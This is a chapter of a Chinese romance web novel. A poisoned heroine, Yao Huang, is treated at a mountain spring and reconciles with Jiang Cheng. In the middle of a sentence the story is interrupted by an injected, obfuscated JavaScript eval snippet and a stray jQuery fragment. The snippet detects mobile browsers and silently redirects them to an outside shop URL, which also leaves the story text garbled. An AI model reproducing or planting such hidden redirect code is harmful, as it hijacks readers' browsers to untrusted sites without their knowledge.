姚黄托腮看向她,不免被逗笑:“所以你就这么原谅他了?”
是否太轻易了些……
百里明月却是有些羞涩的笑笑,开口道:“既然两情相悦,我便不想错过这姻缘。”
“更何况,他确有苦衷。”
既然她都这么说了,姚黄自是要祝福:“好~只要你觉得幸福就好。”
她笑言微展,嘴边上扬的弧度没一会便拉拢了下来。
“红缨的事……”
“我知道。”百里明月没了方才高的兴致,抬头看向了姚黄失落的眼神。
“其实……红缨,她本就时日无多了。”
回京见到礼钰前,她曾为苏红樱把过脉。
脉象虽平稳,却难有生机活泼之相。
她是天生的心疾,随着年龄的增大,心脏的破损更加严重。
直到近年,已经难以承受一次次的跳动。
姚黄蹙着眉头,不愿相信:“她分明说,已经许久不犯心疾……”
百里明月轻轻叹息,苦笑半分:“你没发现,她与儿时变得大不同了吗。”
若是换成从前的小红缨,必定是要为了这心疾郁闷不已,只是经历的多了,便也不在意了。
姚黄不知道,一直支撑着她活下去的,是从前早就说过的那句:“若真是早死的命,就更应该好好享受。”
“红缨比我们想象的都要坚强。”
换句话说,敢于与病魔做斗争的人,无一不是值得敬佩的。
这番话,并没有让姚黄好受多少,反而,她觉得是自己破坏了苏红樱原本就不多的幸福。
她站起身,步子带着几分沉重,心中的郁闷越发强烈。
抬步向前不过一瞬,那天昏地眩的感觉再次袭来,视线逐渐模糊,眼前的一切变得虚幻。
耳边的声音逐渐消失,她看着明月轻飘飘的向自己跑来,脸上带着明显的担忧。
原本还在外面攀谈的江程,突然就听见了百里明月的呼喊声:“阿云。”
“阿云!”
声音一次比一次焦急,江程脸色一变,只觉大事不妙,拉起礼钰就向房内赶去。
映入眼帘的是对方再次苍白虚弱的脸庞。
她躺在百里明月怀里,刚还恢复的生气转眼不见。
一股无力感瞬间涌入心底,来不及伤悲,他忍着心痛跑上前将她抱到床上,身后的礼钰也拿着药箱赶了过来。
良久,房间安静的出奇,饶是心跳声都听的清晰。
天气寒冷,床上的女子却满头大汗,整个被子都要被她浸湿。
百里明月站在一旁亦是后悔不已,本想着她听了红樱的病症便能释怀一些,没成想竟将她的伤势催动的更加厉害。
她心中懊悔,一次次无声的叹气。
江程则是皱着眉头,焦急的等着礼钰的诊断。
“怎么样?
他低声询问,脸上的担忧一丝不少。
只见礼钰轻轻擦去额角汗水,轻叹道:“所幸救助及时,并未伤及性命。”
“只是…”
他眼神有些躲闪:“若是不彻底根除,怕是早晚出事。”
他说得委婉,姚黄这病拖不得了。
“很难治?”
他的声音竟有些哽咽,嘴里却是追问着姚黄的病症。
“此毒隐蔽又凶险,如今病情显现,几乎是要断了活路。”
“唯有……,放血排毒。”
只是要以毒攻毒,一不小心便会失血过多而亡,宫中太医都认为此法凶险,不敢轻易尝试。
江程愣在原地,一时间也不知道作答。
若是如今快马加鞭询问姚黄父母的意见,怕是来不及。
礼钰能瞧出他在犯难,随即道:“此法实施之前要使患者全身呈现温暖放松状态,如今还不是最好时机。”
“那怎么做?”
礼钰眼神转向百里明月,欲言又止。
她这一看顿时着急起来:“需要什么你尽管说。”
“后山,碧水泉。”
难怪他这般看着自己,再次听见这个名字,她亦有些恍惚。
这可不就是冰雪莲生长之地,外人只知其名,不知其习性。
所谓的冰雪莲其实喜湿畏寒,碧水泉更是它天生的生长地,多少人因此寻错方向。
“好,我马上去跟父亲说。”
她慌忙跑出门去,将早上的争吵全然抛掷脑后。
百里明月直接推门进入百里谷主的房间,扑通一声跪了下去。
“爹,女儿知错。”
“但求您解了碧水泉的禁地。”
额头叩响地面的声音传进百里轻冈的耳朵,眼前的情景将他震惊了几分。
“发生了何事?”
他忙奔向前,扶起对方焦急询问起来。
得知是为姚黄诊病,便也不再追问,差人解了封禁。
百里明月喜极而泣,大声道:“谢谢爹!”
看着转身离开的女儿,百里青冈心中的气愤消了大半。
他的女儿,向来是直率坦荡,想要什么便大胆追取,如今的为了朋友是如此,当年为了礼钰那小子亦是如此。
罢了,若真是受了委屈,这诺大的昌宁药谷总能护得住她,随她去吧。
于是接下来的几天,礼钰明显能感受到百里谷主的热情。
说是探讨医术,实则是打听他的家世背景。
礼钰自知不能再相瞒,自是和盘托出。
得知对方的真实身份,原本悬着的心逐渐放下几分。
家世清明,作风廉洁,医术更是上乘。
“那你不能嫁娶一事……”
礼钰起身行礼,郑重道:“小生已全权向陛下禀明,定会风光迎娶百里姑娘。”
他跪在地上,眼神中带着不同于多年前的坚定。
看这架势,他不答应的话倒是自己棒打鸳鸯了。
“且随你们去吧。”
他起身将对方扶起,轻摇着头出了房间。
顾不得高兴几分,百里明月盯着床上迟迟未醒来的人,心里着急的很。
“都三日了,为何阿云还未醒。”
礼钰走上前去,把脉片刻:“别急,大约今晚就能醒了。”
江程在一旁听着,心里不免好受一些,只求他所言为真。
这几日,他将姚黄背在身上来回跑,碧水泉湿润得很,他既担心她的病情加重,又期盼着她醒来。
今日,他亦是利索的将她背在身上,像前几日一样进入碧水
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626122|205789||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
泉。
他轻手轻脚将她放进水中,唯恐多一分力气便伤害到她。
他亦是浸入水中,双手扶着仍然昏睡的女子。
“你是不肯原谅你自己,还是在怪我呢?”
他轻声说着,眼眶含泪,多日压抑的情绪在此刻翻涌的厉害。
这几日,他无不在自责,若是自己能及时察觉出危险,苏红樱是不是就不会死,她的病情是不是就不会如此恶化。
又或者,若是他们没有成婚,她又怎会风餐露宿这般长时间,还让她受到这种伤害。
他失神片刻,并未瞧见一旁正在盛开的雪莲,亦是没有看见心中的女子在此刻缓慢睁眼。
陷入昏迷的这几日,姚黄陷入了一个很长很沉的梦。
她梦见自己没有生病,没有来到京城,甚至没有认识苏红樱。
本以为这样便是无忧无虑的过好一生吗,可她总是闷闷不乐。
伙伴们问她为何如此,她亦是答不到上来,只是觉得,这不该如此过完这一生。
直到,她坐在小河旁,迎面走来一个英俊男子。
“姚大小姐,你该走了。”
他声音轻佻却又不失敬礼貌,姚黄抬眼看去,只见对方已将手伸出。
她停顿一秒,亦是伸出手作出回应。
睫毛微动间,最先感知到的便是身上的暖意。
生病这些年,她已经许久未感受到这般的舒适,她带着好奇睁开眼睛,誓要好好瞧瞧发生了何事。
映入眼帘的,是熟悉的人,以及,陌生的神情。
她看着失神的对方,想要开口说话,却没想自己身在水中,力量失衡间她惊呼一声,弄出了不小的动静。
泉水打到江程脸上,原本还愣神的人瞬间清醒。
他一把扶起姚黄,慌乱间两人视线相对,心中窃喜不已,她果真醒了。
姚黄稳住身体,这才看清对方脸上的沧桑感,像是熬了几个大夜,整日未合眼。
不知怎得,她有些心疼的伸出手,温润的手抚上他的脸,梦中的少年在此刻重合。
“江程,谢谢你。”
哪怕是在梦里,也是想法子将自己拽起。
江程不知道她在想什么,一只手回握住她凑上来的手,半边脸紧紧依附在她手上。
姚黄只觉手心发痒,她将手滑动至对方脖颈,另一只手顺势攀了过来。
他亦是向前游动,两张脸近在咫尺。
江程主动的低下头去,两个额头紧紧相贴。
姚黄见他轻闭双眼,如释重负的样子,不由自主的也跟着闭上眼睛。
谁知下一秒,突觉嘴唇被轻啄一下,“凶手”再次露出先前的得意模样,嘴里道:“这当作谢礼。”
她被他逗笑,嘴角的弧度上扬。
“那得多谢谢你。”
她仰起头,轻轻滑动水流,再次回吻过去。
江程只觉嘴边被轻啄几下,像是在挑逗,又带着几分失而复得的开心。
他笑着,整个眼睛,只能装下眼前这个可爱的姑娘,再不能想其他。
姚黄亦是轻扬下巴,脸上带着几分对他的占有欲。
碧水泉的雪莲开的正盛,晶莹透亮的花瓣在此刻绽放,少年的真心亦是双手奉上。